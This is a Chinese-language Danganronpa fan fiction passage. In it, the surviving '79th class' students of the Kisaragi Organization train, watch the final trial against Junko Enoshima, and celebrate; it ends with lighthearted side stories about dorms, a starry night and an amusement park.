凤瞪着眼睛被推出来:“诶?!我、我?!” “就你了。” 小桥川和启介微笑着看着他。凤恨的牙根痒痒,这俩人一旦不独处就一致对外…… “可恶!剑!吃我一拳!” 金城叹了声气,滑步到他背后躲开一拳,然后动都没动看着凤自己被惯性晃了下去。 “……这位更是重量级,基础功夫多练练吧照屋,你本来身高就很占劣势——那您二位身高总没啥劣势了吧?” “哈哈……”启介哭笑不得地走上前,“我……可能打不中剑,但是我建议你伸出手应付我哦。” “伊良波家训练孩子的方式可不是一般的狠,一个个像鱼一样滑根本抓不住,”小桥川在后面补充,“启介哥可是最厉害的,剑你还是认真点吧。” “那就恭敬不如从命。”金城微笑着伸出双手摆好架势。 启介也微微笑起来,倏而伸出手刀劈向金城;金城抬起手肘格挡,另一只手甩起来挥向启介的太阳穴,却出乎意料地打了个空;猛地缩低身形的启介准备抓住金城的双臂给他一头槌,识破其目标的金城提起膝盖直冲启介面门,却再一次打空了:启介早已站直身体挥出一拳。 “要论灵活度,伊良波不会输给任何人。”小桥川一本正经地严肃地说。“五月可比剑灵活多了。” “……所以你俩平时到底在干嘛?”揉着腰子的比嘉像看到脏东西了一样皱起眉。 “……抓人疯跑玩而已,你丫在想什么。” 那边金城和启介仍然打得不可开交,启介像鲶鱼一样扭转着自己的身体躲避金城的攻击,同时试着打中金城;奈何启介到底是训练了一知半解的初学者,出拳的速度很强力度却没跟上,总能被金城躲过。最终是金城急中生智,伸手压住正在躲避的启介的肩部扭了一下,顿时这条胳膊陷入麻痹,他才有机会把启介的胳膊别到身后,像抓犯人一样把启介摁在地上。 “……哈……哈……启介哥……合格……” 两人都喘着粗气,金城随即松开手扶起他连连道歉,启介则表示自己还欠缺大量实战经验和练习、这次的小小成功不过是吃着当杂技演员的底子。然后所有人看向小桥川。 “……啊……啊哈哈……” “来吧。”金城调整好呼吸,将手重新背到身后,稳稳站好。 “……好吧。我事先要说好,我虽然蠢的只会开飞机,但是我力气相当大的哦,我……” “别废话。” “啊啊好吧……” 小桥川压低重心,向金城冲去,第一拳对准的是他的肚子。金城弓身躲开向后退去半步,又后仰躲开一拳从耳畔扫来的横拳。意外地确实很不错,金城边想边躲避边用腿脚反击,至少能把空气挥扫出声音……但是致命的弱点也很明显。 金城趁其不备将小桥川踢翻在地,随后一脚踩上他的围巾,用力向后一拉—— “嘎呼———” “绞死。”金城适可而止地松开脚,“整体来说不错,虽然也没合格。另外我建议你拿别针把围巾别到衣服上去,否则它会成为天然的绞索。” “哈———哈———明白了!” 小桥川捂着刚被勒紧的脖子喘着气从地上爬起来,嘿嘿地傻笑。 “……总体看下来,第一次考核只有近次和启介哥过了关。”金城拿着自己的小本子刷刷记下,“每个人的优势和劣势都能记住吗?记不住我就再说一遍,下阶段你们得按需要训练……光宏下肢力量很强健,重点练上肢和腰腹核心;驱力量非常好,去跟启介哥学学灵活性;晴彦综合能力不错,接着锻炼,把你那围巾好好收拾一下;剩下的三位……大和、龙太郎和照屋,把上阶段的身体素质练习好好重复一次。” “唉……”如月大声说着,“真是我自作孽不可活啊———” 金城往他屁股上踹了一脚:“你知道就好。” “第五次学级裁判很诡异。”铭苅扶着眼镜说,“在我看来……似乎有人刻意嫁祸给侦探,故意让她处刑而死。而不可思议的是……当雾切没有被指出十分明显的纰漏,这位苗木诚居然被指认成了凶手。” “手法其实不算高明。”如月转着笔说,“平良,我问你:之前的死者尸体是不是有固定的位置放置?” “是的。”平良平静地说,“在策划中一定要安排一个位置放置死者的尸体,无论是被凶杀还是处刑都一样。” “所以我看应该是黑幕利用了已死者的尸体。”如月冒出一个结论,“听着离谱吧?或许实际也这么离谱呢。” 金城抓到一个问题,看向平良:“如果我们在第三研究所也遇到了类似的情况,你是不是也会利用死者的尸体?” “不会。”平良摇摇头,“因为在计划中如月大人必须死,而他本来应该在剩下五人左右时被带到你们面前。凶手将是美佳子大人;如果美佳子大人在之前死去,那么如月大人会被黑白熊直接杀死。这是美佳子大人绝望计划的一部分。” ……你说她太过危险了吧,确实把知道的事情全说了,毫无保留;你说她改过自新了吧,这计划听着就渗人得很。 “不要说了。”黑川闭上眼,“但是苗木诚没有死,对吧?我看见那个程序员做的Alter Ego了。” “啊,说到Alter Ego,”如月突然兴奋地掏出电脑噼里啪啦地敲起键盘,“我稍微记了一下直播里出现过几秒的不二咲千寻的代码,然后让铭苅给我找了点资料……最后做出了这个。” 众人睁大眼睛,看着电脑屏幕上亮起的图像:“诶?!” 屏幕上的人像睁开眼睛:“哟呼!大家好!!” “呜啊啊啊啊!屏幕里的如月?!”友利托着脸叫出声来。 “这是……”波多乃惊喜地看向得意洋洋的如月,“是Alter Ego?!” “正是!”屏幕中的如月人像露出和屏幕外一模一样的得意的笑,“初次见面,我是第一代如月大和Alter Ego,请多指教。” 在一阵沉默之后,会议室里发出雷鸣般的掌声和欢呼。黑川扑到如月身上高兴地笑出了眼泪,上原好奇地盯着电脑屏幕,铭苅最后拍了拍手:“停一下停一下!!别激动了!!!” 屏幕中的Alter Ego讪笑:“这……比我想象得要热烈得多……” “我给他安装了一个接受音频转化信息的装置,所以现在你们说话他也能听见,”如月正色道,“怎么样?一个拥有自主学习能力的人工智能,酷得很吧!” “我想知道咱咋称呼他,”凤挠着头发说,“总不能也叫大和吧?” “我已经想好了,就叫A·E。”金城看向电脑,“你觉得如何?虽然有点简陋,但是作为如月机关的第一个Alter Ego和如月大和制作的Alter Ego,这个简称挺合适的。” 比嘉使劲搓搓手:“呃……还是挺草率的……” “这个名字好!我同意了!”被起了名字的A·E兴奋地说,“谢谢你,金城叔叔!!” 此言一出,全场陷入寂静。 “……怎么了吗?”A·E似乎没察觉到什么,“制作了我的人是如月大和,也就是我的父亲,父亲的朋友不就是叔叔阿姨吗?” 众人将目光转向如月。 “呃……” 如月愣傻了,黑川敲了敲他的后脑勺:“喂喂!给个解释!!” “啊!”后知后觉的如月扯过电脑:“我今天回去给他改一下……A·E!待机模式。” “即将进入待机模式,晚安好梦。” 被叫了叔叔的金城绷着脸:“出厂设置很意外啊……” “啊……对不起阿剑!!我真不是故意的!!!” 金城没说出口的话是:叔就叔吧,认了。 “……诶……?雾切同学?!” 苗木诚从垃圾堆里惊慌地抬起头,看着从天而降的雾切响子扒开身上的垃圾……但似乎没注意到头顶的泡面桶。 “真的还活着。”她叹了口气,递出手中装着食物和水的袋子。 78届的幸存者们看不见墙外的世界,因此他们暂且还不知道,太阳正在徐徐升起。 果然,这一天还是降临了……对战江之岛盾子的最后的学级裁判。 彼时如月机关正是忙碌的工作时间,忙着训练干活的79届生们被天天坐办公室的铭苅吼着要求赶到会议室,一同见证那个终点。 第一个跑来的人,不出所料是波多乃菖蒲:“冷!!我没来晚吧?开始了吗?” “马上了。”铭苅抱起胳膊,目光越过波多乃:“太慢了,如月大和!!!” “我要从基地那头跑过来!!”如月急速大口呼吸着,跌跌撞撞走到自己的位置上,“还没开始?那还好,没晚……” “别像看电影一样对待这事!!”铭苅再次看向门口,这次露出了微笑:“从对门走过来也用这么久?” 金城没搭理她:“大和,刚才未来机关的人给我们打电话了……本来想让比嘉和小桥川去救一下那些前辈,谁知道他们根本不让,说是未来机关已经在希望之峰周围布置好了兵力……友利在和他们吵呢。” “我已经告诉绊了,不用管他们。”黑川顶着乱蓬蓬的头发气喘吁吁地走进来,“未来机关说不定在怀疑我们是绝望势力呢。再怎么说他们比我们硬实力强大,虽然组织内部并不怎么样,保证他们的生存还是可以信任的。” 铭苅推推眼镜:“这么有信心?” 上原人未至声先来:“我也一样。未来机关至少在这方面值得信任。” “我是说,你们有信心他们能逃出希望之峰?” 屏幕上的学级裁判开始了。仅剩的六个学生拿着几张相片相互指认,似乎还没有意识到自己失忆的事情——抑或是意识到了,而尚且残缺证据。 “至少我相信他们。”如月整整衣领,挤到铭苅一直身后的机关长的椅子上,“我挺欣赏这位——苗木诚,还有这边的雾切响子。他们两位,推理能力不错都是其次的……他们一直抱着希望。” “说白了就是乐观。”金城憋住马上要打出来的哈欠说到。“各位可以想想,在我们逃出第三研究所,在飞机上的时候,对未知的未来一直都是积极乐观的吗?是不是也有人险些陷入绝望?” “剑当时昏迷着,并不知道我们的对话。”上原说,“我没记错的话……第一个说要带着希望活下去的人,是伊良波。” “哟呼!五月听到了召唤!!咿呀!!” “别闹了!!这是大事!!” 一如既往吵闹的小桥川和伊良波扭打着跑进来,两人像是有用不完的活力,永远活蹦乱跳。小桥川望了眼门外,探身拽进来个人:“快点快点啊照屋不差几个人了……” “哎我*别薅我头发!”凤揪着小桥川的袖子打了个趔趄,险些摔倒在地。随后急急跑进来的山口先是小心翼翼地把背上小小的祷放到地上,而后一屁股瘫在椅子上:“进行到哪一步了?” 祷看了眼屏幕:“啊……尸体的数目对不上吗?不过按照这么短的时间来看重复利用……” “大家!!!”比嘉扶着门框满头是汗,“友利马上就到了!未来机关肯定不可能让咱去希望之峰附近的,没有别的办法了吗哎哟我*谁?!” 猛地撞到比嘉身上的牧兴奋地两眼发光:“要完事了?江之岛出来没?” “还没有。”平良稳稳的、安安静静地出现了,“他们……还没有猜到江之岛的身份,不过应该……用不了多久了。” “所以直到江之岛出现,这场最后的战役才彻底打响。”如月打开电脑,让A·E也能参与进来,“现在……只不过是前场的开胃菜罢了。” 走廊里传来啪嗒啪嗒跑来的声音,而现在唯一一个缺席的便是友利绊。果然,熟悉的粉色长发抢先一步蹦到门口:“未来机关那边没法搞定了,像牙上黏了橡皮糖一样坚决不退步。我吵了好久,那边那个**男的也跟着吵……” “好了好了,快过来坐着。”波多乃一手拉着平良,一手拍拍身边的空座,“本来就来晚了嘛,不要说这么多了。” “……菖蒲!!” “抱歉!我又说错话了!!” “都安静安静。”如月拍拍手,“我也不知道江之岛什么时候会出来……不过他们一定意识到了很多真相了。雾切响子是头脑非常清醒的人,苗木诚也是。” “要比的话,感觉那位苗木像是咱的机关长大人一样呢。”牧喝了口水笑道,“都拥有强大的内心,和永不服输的气势!” “诶嘿嘿嘿嘿。”如月挠挠头,“多谢夸奖。” 而后他抬起头,看着会议桌上的十四人。 希望之峰79届学生,除了化名前田勇气的【虚空】全员存活。虚空将他们带入绝望的杀人游戏,又用天运让他们离开;他们克服了第一道难关克服了失去归处的悲伤,而后为自己建立了一个家,重建的如月机关就此诞生;他们把希望带给越来越多的普通人,也同77届的绝望战斗过,也同未来机关的前辈们“亲切沟通”。 “希望永远不会败给绝望。” 那是美佳子在被困第三研究所时说的话。 ……倒不如说,相比如今正在努力探寻希望之峰学园真相的78届的幸存者们,79届的大家有着不同的目标。 他们是在渺小却坚强的希望中,为自己创造未来的人。 早就不仅仅是同学朋友的关系了。大家一同经历过生死,经历过一同的欢笑,经历过争执和和好,经历过恐惧和释然。如果要说的话……不如说是个家呢。 家…… 神座出流站在楼顶,看向远处的希望之峰学园。 绝望的杀人游戏即将迎来尾声。不知为何,他很确信江之岛会输——就算她输了也没关系,她会给自己以绝望的处刑,说到底她爱的就是绝望。 无论哪边,都只会绝望而已。 而希望…… 他低下头,看看手中的小玩意儿。那是个像素小飞机发卡,有点旧,但很干净,就像每天都有人认认真真地擦上几次。 谁会赢。谁会创造出更多的可能。谁会不那么“无聊”。 ……那群人或许可以?他不知道。 一个和他一样对世界感到无聊的天选之人,选择用自己的力量让产生了一丝情感的同学们活了下去。这种情况诞生的可能性只有千兆分之一。 但是他们做到了,活了下来。 神座出流抬起头。 至少那个人,那个被世界无情地眷顾着的人……他把世界扭转成自己期望的样子了。 “孩子们在里面开会呢,先别进去了。” 伊良波启介拦住路过时好奇地探头的友利美奈子,笑呵呵地指指门内。 美奈子翻个白眼:“真是群小呆子,基地里还能有外人吗?” “不是这个原因啦……” 启介笑着说。 “对于险些经历了同样的自相残杀的他们来说……见证这一切的落幕,相比是很重要的。但愿此后世界上的绝望都随着那女人一起落幕吧。” “说回来,启介,”美奈子不知从哪掏出来一根棒棒糖塞到嘴里,“你不是找到你那些兄弟的情况了吗?怎么不联系联系告诉你妹?” “……” 启介叹了口气。 “您也知道,我家的情况不那么正常……现在联系上被迫离开了马戏团的他们,只会给生活稳定的五月带来麻烦。五月不欠他们的,没必要管他们。” “唉……哟?龙太郎也来了?” 鬼鬼祟祟的牧龙太郎意识到自己被发现后乖乖地蹭了过来:“我、我就是路过……” 美奈子觉得不揭穿这小子来看姐姐的小心思:“没跟小翠一起来啊?” “啊,翠在休息呢……啊!!美奈子阿姨!!” “叫姐姐。哎呀,男孩子要主动一点嘛……启介也是,你妹都有对象了,你三十好几还单着。” “您就别打趣我啦。哎,龙太郎,前几天光宏好像请你姐去约会了,你知道吗?” “……??????” “这孩子吓傻了。” “不是,你等一下。比嘉先生,和我姐???他眼瞎了吗?????” “她很会说服别人。”上原盯着屏幕上得意洋洋的女人,“逐一击破每个人的心理防线,让他们陷入绝望。” “这些人其实直到刚才都没有绝望的,挺过了那么多次学级裁判,已经相当坚定了。”牧卷着头发说,“但是她的话……像子弹一样,砰地击中了每个人最脆弱的点。” 江之岛盾子。就是这个女人,用她的巧舌如簧,用她的绝望,用她的天才的分析力与头脑,将整个世界带进了绝望的漩涡。如月忽然想起什么,转头看向平良。 “……虚空大人有信心使各位陷入绝望。”平良会意,安静地说道,“毕竟各位的动机,我总觉得,或许会比78届生更加令人绝望吧……” “为什么。”金城攥紧拳。 “就像金城大人……恕我直言,如果接连看见自己的朋友死去、同学间相互怀疑、又眼睁睁看着谁经受处刑,最后被告知自己的父亲正在为绝望势力服务,您觉得您会坚定下信念吗?” “……” “好了,不要说了,平良,我理解了。”如月探身拍拍金城的背,“我相信我们所有人都能撑得过去。” “……我也相信。” 金城小声说。但是他低下头,似乎思索着什么,而后不再说话。 接下来谁都不说话了。大家沉默地看着江之岛用不可思议的话术使每个幸存者无话可说,亲身体验着极致的绝望。 世界是绝望的。家人被绝望杀死,甚至利用。就算现在建起了如月机关,能拯救的希望也不过是沧海一粟。 “这样下去,真的赢得了吗……” “绝望是会传染的啊!!!” 如月猛地抬起头。 “但是希望……会不断传播下去……” 他转身看向黑川,对方专心致志地看着屏幕,发现他在看着自己,便冲他笑了。 ……大家说的对,带着所有人出逃学校的人是我,领着大家离开研究所的是我,组织重建了如月机关的人也是我。我和苗木诚一样,一直坚定着希望的信念,不想放弃任何一个人…… 但是如月大和的希望来自美佳子啊。 “希望永远不会败给绝望。” 他站起身,轻声嘟念着这句话。而后他转向众人,露出一向的坚定的表情。 “我们是最清楚这一点的……大家真的认为我们完全是靠着天运活下来的吗?是我们让前,让虚空有所动摇,是我们相信着同伴合力逃出塔和市,是我们相互依靠着击败入侵的绝望……我们亲眼目睹了世界的绝望,但我们被绝望打 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“这正是你可贵的品质。同样……大和曾告诉我,在研究所被困时是黑川鼓励了他,正面与虚空较量。”上原转向黑川,“赞美你的胆识……与不灭的信念。” 活跃气氛。如月意识到,在士气被绝望打击的时候,平静地提起有关希望的过往,至少能让大家振奋些。 ……真不愧是上原。 “如果绝望会传染,那么希望就会传播。”屏幕里的苗木将朋友们揽到身后,“江之岛盾子!!我要告诉你,希望是永远不灭的!!” “虽然我知道我没什么说这话的资本,但是我真的想说上两句,毕竟激励人是我的本职工作。”友利忽然笑了出来,“我呢,是个不屑于表现本心的人,嘛,因为小时候的一些事情嘛。但是如今……我在你们身上找到了家人的感觉。我妈跟我一个德行,有话总是憋在心里,掖着藏着不让人知道。可是与大家相处、共同建设我们的家的时光里,我可以扔下面具,完完全全成为纯粹的友利绊,而不是什么任何别的什么身份。至少从这一层……给我打起精神来!!大家!!我还没来得及好好感谢你们呢!!” “友利……”如月发现自己的视野扭曲着模糊了起来。 “我有这样一种感觉,苗木。”雾切在苗木身边说道,“你能来到希望之峰,从来不是因为幸运抑或是不幸,而是你独有的才能……苗木诚,我相信你就是超高校级的希望。” “友利说的没错……”波多乃少有地主动站起来,“我……我不怎么会说话,总是影响大家的情绪。可是……就算是我也知道,如今正是我们所期望的、害得世界陷入绝望的女人的滑铁卢!!78届的前辈们,虽然只剩下六个幸存者,不也在奋力战斗吗!!” 铭苅啪地拍着桌子站起来:“全都精神起来,笨蛋们!!” “乐观,那是我唯一的优点了。”苗木诚紧紧盯着江之岛盾子,将她不断重复的话语置于脑后。“我不是精英,也不是什么显贵,我只是一个普通人。但是乐观是我唯一的优点,所以我会在这里,否定你的绝望!!!” “不用你说,铭苅。”金城抱着胳膊站起来,“我相信所有人都知道应该怎么做了。” 比嘉挠着后脑勺笑起来:“那是自然,也是我们一直都在做的不是吗?” 牧爬上桌子:“我第一次知道我的枪是为了可以保护他人而开的……我超级爱你们啊!!大家!!” “大家早就是一家人了。”祷举起小小的手,“因为我们是家人,所以我们不会绝望,永远也不会。” “只要还有一个人在,我们就永远不会绝望。”山口高兴地露出恐怖的表情,“因为我们可是创造了奇迹的79届生啊!!” “无论如何,我们都是奇迹般活下来的,”凤故作成熟地说,“只要我们还在,希望就不会消失!!” 如月拉紧黑川的手。二人相视一笑,而后看向屏幕。 “因为希望是勇往直前的!!!!” “刚才不是还挺热闹吗?怎么没动静了?” 美奈子皱着眉,戳了戳正在看锁孔的龙太郎。 “好像是……那个女的……就是那个江之岛,被打败了。”龙太郎小声说道,“然后……看不清了。” 启介拎起龙太郎的后领,笑着向两人说:“我们不该在这儿了。” 因为孩子们拥有了无可替代的家人。 几分钟后,兴奋的喊叫与激动哭声传遍如月机关。裹挟着希望的泪水将洗遍世界,渐渐带走绝望的污浊。 “选好曲子了没磨叽什么呢?”如月拍拍比嘉的脑袋,喜获一根中指:“急什么,看把你能的。” “大家都准备得不错了,你确实得快点。”金城倚在墙上打趣。 “你说的准备好了是指满地乱窜捡吃的?” “哦,确实。你找好了不就开始了吗。” “我说剑你是不是太活泼了现在?” “我可没感觉到。这首怎么样?” “我才不听你的卧槽别给我动……嘶。还真不错。” 弦乐的弹拨声从音响里钻出,很快传遍了整个会客厅。胡乱塞着零食的小桥川指着音响咕念了些什么,比嘉一点也没听清:“你说啥???” “咱入学前没多久出的专辑,我就听了个前奏……芜,像是好歌。” “你一天天哪来那么些心思。”比嘉边走变掏出发带套到头上,然后脱下外衣:“老子今天要好好蹦个爽了……” “哇哦!!大家快看!比嘉身上有只大老虎!”五月指着比嘉身上的老虎纹身大叫。 “哎哟我的小祖宗咱可别显眼了。”小桥川哭笑不得地把五月摁到自己腿上坐好。 如月摘下帽子,用胳膊肘绰绰金城:“你怎么知道的这歌的?我以为你是不会听流行乐的。” “拜托了,我跟你一样是生活在城市的正常青年,又不是山顶洞人。” 一旁的上原:“在背后说别人坏话会遭到神的惩罚,剑。” 随着加快的节奏,友利率先点着头打着拍挑起熟练的啦啦操;牧和波多乃饶有兴趣地跟着她跳起来,然后被540度的单腿转绊倒在地,而后哈哈大笑;祷在桌子上拖着脸笑,小小的手指打起拍子;凤跳下椅子,刚想开始摇,音乐就缓了下来:“诶诶?它跟我有仇?” “等一会就好了。”金城晃着身子走到会客厅中央,精准地卡到节奏爆响的一刻。 “卧槽,太空步!”如月乐的哈哈大笑前仰后合,“你还留着这一手啊!” “出席重要场合得跳交谊舞,顺便学的。”金城面无表情地挑起眉,“有意见?” “不敢不敢。”如月随后扯过黑川走过去,连对话都没有,直截了当地蹦了起来。 “翠!”山口招呼着妹妹,“要不要来?不用太剧烈,你尽兴了就好!” 山口翠怯怯地探出脑袋,然后红着脸跟在哥哥身后跟着节奏点着脑袋,随后动作越来越大,直到眼睛酸酸涩涩。 “活下来了啊!!!!!” 这是翠最响亮的声音。她随机看向哥哥,而后发现他在向她笑,随后仰起头大喊: “我们活下来了!!活下来了哦哦哦哦哦哦!!!” “龙太郎!!!!一起来啊!!!” “不用笨蛋姐姐说!!你活下来了太好了!!” “我们活下来了!!!茜也好好地活下来了!!!” “希望以后我能永远做友利绊!!!!” “老子永远世界第一啊呜呼——————” 此起彼伏的吼叫声震得铭苅头疼,可不知为什么,她的身体不受控制地站了起来。 “能遇到你们这群笨蛋真是太幸运了!!!!” “我长高了!!!爸爸!!我长大了!!不用依赖你了!!” “希望今后世上伤病越来越少哦哦哦哦哦哦!!!” “晴彦亲我超级超级爱你啊——————” 音乐在此刻停滞了下来,伊良波五月的高分贝喊声传到了每个人耳朵里。当事人可能没什么感受,小桥川的脸唰地红了起来。 但随即另一声喊叫传来:“美佳子迟早要嫁给我!!!!” “我草了,”小桥川冲着得意洋洋的如月红着脸大喊,“伊良波五月!!嫁给我吧!!!” 音乐恰到好处地响起来。除了睁大眼睛的五月和不远处立刻笑起来的启介以外,众人一齐起哄:“答应他吧——————芜湖!” “啊……”小桥川快要烧糊的脑子高速运转起来,最终得出了结论。 我***,如月大和,故意激我是吧。 “上原上原快来快来,”黑川笑呵呵地拽起自始至终坐在桌子旁未加入狂欢的上原,“有工作了!快起来!” “听见了,现在还不到年龄吧他们两个?我早晚……哎呀。” “嚯嚯嚯近次被摔了个屁墩儿!!” “大和,这事待会和你算账。”上原淡定地拍拍衣服,在一片起哄声中挤到红成柿子的两人中间,“在主的赞美中,我将为二位见证……” “你等等你等等,”牧笑着扒拉他的衣服,“小五月还没说话呢,你现在就干活,人家启介哥还没说话呢!” “我无所谓。”启介眯着眼微笑。 “我……”五月睁大眼睛,然后一高蹦到小桥川身上:“我愿意!!” “好——————” “好哦!!!! “太棒了!!第一对现充出现了!!!” “下一个看大和了。” “哦哦哦哦是哦!!!还有那边!!!!” “哎卧槽别过来,哎呀别过来,哎呀卧槽美佳子!救命啊!!!” “跑也没用!!你今天跑不掉!!” “上原呢?上原跟上没?” “上原在最前面呢!!” 虚空大人,我们做到了。 平良茜站在如月机关门外,站在狂欢之外。她解开发带,看向某一个方向。 “虚空大人,我们做到了。大家活了下来,江之岛也被打败了。” “虚空大人,江之岛死了。你一定知道了吧?我们做到了,78届生做到了。” “虚空大人,你留给我的希望我从来没有忘记……” “虚空大人……” 平良两腿一软,跪坐在地上,抱着自己笑着哭泣。 “虚空大人……你的天运……真的与我同在……” “虚空大人……我们……遵守了约定,是吗?” 6. 日常小合集[番外] (1)关于住处。 最开始分配宿舍公寓的时候,小桥川、凤和比嘉住在一屋里。 由于小桥川和凤基本没有什么打扫卫生的自觉,一向和球队住在一起、生活井井有条的比嘉抓狂地跑了出去,在金城和如月的屋子里挤着住下了。从此这个公寓被迫陷入小桥川和凤轮流打扫的悲惨境地,说它悲惨是因为两个人几乎都不记得自己打扫屋子的时间,因此此屋又脏又乱。 在伊良波由于同样的原因主动离开原本和黑川同住的房间时,小桥川热情地(呵)邀请伊良波来自己的宿舍住,并以此为由把凤踢了出去;屋子空空的黑川则邀请如月与自己同住,于是凤去了如月原本的房间,当天走廊里传来比嘉尖锐的爆鸣声。 好消息是……不想让对方操心的小桥川和伊良波达到了奇妙的打扫卫生平衡,甚至出现了抢着干活的奇异景象……可喜可贺,可喜可贺。 而凤……由于被金城严格地管控着,奇迹般地学会了很多生活技能,超越平良指日可待。 可喜可贺,可喜可贺!!! (2)关于夜晚。 “啊———现在居然能看见这么多星星了———” “听说之前大气都被污染了,花了将近一年才慢慢恢复过来……” “不要跟菖蒲亲学说话嘛!” “啊啊啊好……嘿嘿。” “突然困起来了诶……” “要睡觉吗?等会我脱下外套……” “啊嗷不用啦!我就是眼睛有点酸……” “祷给的眼药水没用吗?” “唔……” “是不是没按时滴啊———” “唔……嘿嘿。” “唉……以后我记着吧。” “喂晴彦亲。” “怎么了?” “晚上开飞机的话,能看得见星星吗?” “嘶……没注意过,云层上面的景色和地面上看还是差别很大的……” “噢……” 而后夜晚的风吹来蛐蛐的鸣叫。他们不说话了,静静地躺在草地上,手牵着手看着星星。没一会儿他听见细细软软的鼾声,侧脸一看,果然像小猫一样睡着了。 …… “……笨蛋。” 他脱下外套披到她身上,想着带她回到屋里休息。但是她很快打了个激灵:“阿嚏!唔……” “着凉了吧,不听我话。” “呜……我不想回去嘛……” “那老老实实把外套穿上阿嚏!” “……噗噗,晴彦大笨蛋。” “原话奉还。说吧,有什么心事?” “(吓了一跳!)晴彦亲莫非被美佳子酱附体了!” “你那点小心思我还看不出来。” “可恶啊……果然瞒不过晴彦亲!” 她扑通一声躺会草地上,而后突然发出烂了大街的灵魂质问: “晴彦亲为什么会喜欢上我呢?” “……诶?!突然问这个问题?!” “哎呀……就是突然想到而已啦……当时在学校被你表白的时候,我可真是吓到了!” “……啊……” “所以为什么嘛?” “啊……那我,我问你,为什么要答应我?” “因为五月喜欢和晴彦亲一起玩。” “……好直白……” “虽然每次都说着嫌弃的话,但是晴彦亲从来没拒绝过我一起玩的请求嘛。” “……果然五月一直是笨蛋。” “好了,五月回答完了,轮到你了。” “……其实我也不懂。班里漂亮的女生明明这么多,偏偏是五月这个笨蛋;和比嘉他们说起女孩子的时候,不自觉地跳过了伊良波……” “……啪唧。打你脑袋。” “哎呀!好痛……” “所以说晴彦亲果然、果然是相当笨的笨蛋。” “……好吧,你说是就是咯。” “我们俩一定是前世的缘分!” “……突然说什么哦笨蛋……” “你想哦!在第三研究所的时候,五月已经不记得晴彦亲了吧?但是那时候五月也很喜欢和晴彦在一起玩吧!” “哈……我觉得我能懂你什么意思。” “所以一定是前世的缘分哦!无论什么情况下,五月都会喜欢上晴彦的!” “……突然之间别说这种羞耻的话了,过来让我抱抱。” “扑通。” 他很庆幸,黑夜中她看不见他通红的耳根。平生第一次感谢自己长了这么高,足够把小小的女孩裹进怀里——自从长到一米八了以后好多战斗机钻进去都正好卡着头皮——然后亲她软乎乎的头发。 “……虽然是笨蛋,说的话倒是没错……” 的确无论何种情况下都会不自觉地被你吸引啊,笨蛋。就算是自相残杀,就算是到了那种绝望的情形下…… 他突然想起78届生那个自杀的女孩。为了朋友们,自己喝下毒药…… 啊哈。如果我们没能逃出来,说不定我愿意为你赴死呢。如果真的、真的到了那种情况,如果我死掉可以换你活着…… 呸呸呸,晦气,晦气死了! 他一用力,勾起她的腿搭在胳膊上,美其名曰公主抱:“好啦,五月小公主要起驾回宫啦阿嚏,咳,外面还是有点冷哈哈……” “砰砰!!那晴彦就是五月公主的骑士!!阿嚏!!” (后续是骑士和公主双双着凉感冒,被启介一人赏了一脑瓜崩。) (3)关于游乐园 鬼屋 “……我不明白为什么一定要拖着我来到这里……” 上原近次如是说。 “虽然我知道这些都是假的……但是这种污秽的邪恶之地……” “来嘛来嘛!!!”黑川美佳子把他推进门里,拉着友利绊和小小的祷佳奈多,后面还跟着不住叹气的波多乃菖蒲和一脸淡定的平良茜。“大家都感觉有上原在鬼屋都不吓人了。” “……又不是真的恶魔……” “哎呀你就进去好了!!!” “……” 上原抓紧圣经,将十字架抬到胸口,才探着步子走进鬼屋。女孩子们手拉着手跟在后面,一个挨着一个,像是冬天抱团取暖的小兔子。 “……这只是一个屏幕画框。”黑川指着墙上的一副肖像画,画中的男人正逐渐衰老,化作骷髅,空空的眼眶里黑漆漆的。上原在前面走着,不时回头看看女孩子们。 “倒是没什么吓人的。”祷拉着友利小声说,“我刚学解剖的时候就见过……” “咿——————菖蒲病毒已经传染到佳奈多了吗?!” “?!绊酱我真的比骷髅还可怕吗?!对不起!以后我会注意的!!” “……哈哈,菖蒲酱确实要注意一下说话的时机呢……咦?怎么不走了?” 领头的上原停住了脚步,没有回话,但是女孩们听见了金属链子和……翻书的声音。 黑川戳戳他:“上原?怎么了?” “……我收回之前的话,你们快退后!!”上原发出前所未有的男高音并迅速翻开圣经拎起十字架:“真的有魔鬼!!!快跑!!这里交给我!!!奉主的名驱逐你被撒旦控制的恶灵啊我以圣灵的名义诅咒每一个在此的恶魔我要将你驱逐回地狱你们这些不洁的恶魔我命令你们回到地狱!!!!!!” 事后被祷弹了好几个脑瓜嘣的上原终于知道了“全息投影”这种技术的存在,并在鬼屋关灯后亲自确认、了解了被误解为恶魔的影像并非实物。 又学到了新时代的技术呢,上原。 碰碰车 “吃我一漂移!!!芜湖!!!” 凤照屋充分发挥了马路杀手的体质,开着碰碰车横冲直撞,所过之处人仰车歪,堪堪开出一条血路。 “红牌!!剑!!给他罚红牌不是,给他贴罚单!!!” 比嘉光宏嗷嗷叫着试图从后方给他一追尾,反被撞得屁股蛋差点开花。 “冲啊!!龙太郎号!!” 作为唯一一个混在男生中间胡闹的女生,牧清香挤着自己的臭弟弟站着开车,牧龙太郎只能死死踩着油门、让清香被晃得哇哇乱叫:“姐姐你太胡闹了!!” “噢噢噢噢凤照屋!!给我翻车吧!!!” 山口驱开启了法庭狂暴模式,以不亚于凤的恐怖车技满场乱窜,专门追着疯往死里创,并以体格优势加剧了撞车的惯性,成功地使凤险些吐出一口老血。 “………” 金城剑抽搐着脸站在碰碰车场外,在笔记本上一笔一笔记下每个人的每一条违章。 很难想象这是一群已经(被迫)步入社会的高中生……这不是小孩子才爱玩的项目吗?? “哟!阿剑!” 听到这个声音的金城虎躯一震,手中的笔尖狠狠摁在笔记本上,差点折断。不出所料……如月和黑川一起来了,只是黑川还拖着看似生无可恋的上原。 “好了!这下人齐了!”如月大和兴奋地搓着手,“不管晴彦那个死现充了,现在男生齐了咱们一起玩吧!!” “谁要玩这种专门违章的游戏……还有你不也是现充……” “近次都同意了,你哪来那么多事,走走走一起玩。” 金城低头看了眼上原,后者挤出微笑:“我需要发泄一下我的惊慌。待会儿和我一起做解罪的祈祷吧。” “……我不去!!!” 众所周知,碰碰车这个项目,就算自己不主动开车,也会被所有人创到的。 因此发了毒誓绝不违章开车的金城被惯性搞的头晕眼花,亲身体会到了牛顿第一定律的实际应用。 极限项目 “喝啊——————” 从跳楼机上下来的如月顾不得形象管理直接跪倒在地,成功地被黑川投去鄙夷的目光:“就这程度就这样了?” “美佳子……”如月颤抖着说,“我们刚坐完飞天扫把和海盗船不是嘛……我就是有点晕……呕……有点受不了了………” “啧啧啧啧啧……”黑川一边摇头一边扶起他,“没关系!我们去坐个云霄飞车缓一缓吧!” “好……坐什么?!?!” 